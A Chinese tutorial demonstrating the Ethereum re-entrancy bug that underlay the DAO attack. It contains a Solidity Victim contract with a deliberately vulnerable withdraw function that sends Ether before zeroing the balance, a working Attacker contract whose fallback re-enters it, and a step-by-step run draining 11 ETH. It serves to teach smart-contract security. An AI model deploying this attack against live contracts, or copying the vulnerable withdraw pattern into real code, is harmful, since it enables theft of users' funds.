以太坊重入攻击(Re-Entrancy)范例

本文介绍一下以太坊非常有名的重入攻击的范例。

鼎鼎大名的DAO攻击就是因为当时他们的智能合约中存在Re-Entrancy这个bug,ETC也是因为这个bug,硬分叉产生出来的链。下面来贴代码。

pragma solidity ^0.4.19;

contract Victim {
    mapping(address => uint) public userBalannce;
    uint public amount = 0;
    function Victim() payable{}
    function withDraw(){
        uint amount = userBalannce[msg.sender];
        if(amount > 0){
            msg.sender.call.value(amount)();
            userBalannce[msg.sender] = 0;
        }
    }
    function() payable{}
    function receiveEther() payable{
        if(msg.value > 0){
            userBalannce[msg.sender] += msg.value;
        }
    }
     function showAccount() public returns (uint){
        amount = this.balance;
        return this.balance;
    }
}

contract Attacker{
    uint public amount = 0;
    uint public test = 0;
    function Attacker() payable{}
    function() payable{
        test++;
        Victim(msg.sender).withDraw();
    }
    function showAccount() public returns (uint){
        amount = this.balance;
        return this.balance;
    }
    function sendMoney(address addr){
        Victim(addr).receiveEther.value(1 ether)();
    }
    function reentry(address addr){
        Victim(addr).withDraw();
    }
}

上图中有两个智能合约,Attacker和Victim。其中Victim合约的withDraw函数有重入的bug(msg.sender.call.value(amount)();)这行。

当Attacker函数调用Victim合约的withDraw函数时(在reentry()函数), Victim会执行msg.sender.call.value(amount)(); 但是接下来并不是执行userBalannce[msg.sender] = 0; 而是Attacker收到了Ether后,调用了回调函数,在回调函数中,又重新调用了Victim的withdraw。因此形成了一个循环,直至Victim中的Ether被清0.

以上便是Re-Entrancy的大致过程。

接下来执行以下。

1. 我们首先给Attacker账号1ETH的余额,给Victim账号10Eth的余额

以太坊重入攻击(Re-Entrancy)范例_第1张图片

2. 调用Attacker的sendMoney函数,让Attacker把自己的1Ether发给Victim。可以看到发送后Attacker的余额为0,而Victim已经有了11Ether。

以太坊重入攻击(Re-Entrancy)范例_第2张图片

3. 发动Re-Entrancy攻击,调用reentry函数。执行后发现Victim的11Eth全都到了Attacker的账户中,test的数量为11,说明fallback函数一共被调用了11次。

以太坊重入攻击(Re-Entrancy)范例_第3张图片

你可能感兴趣的:(区块链)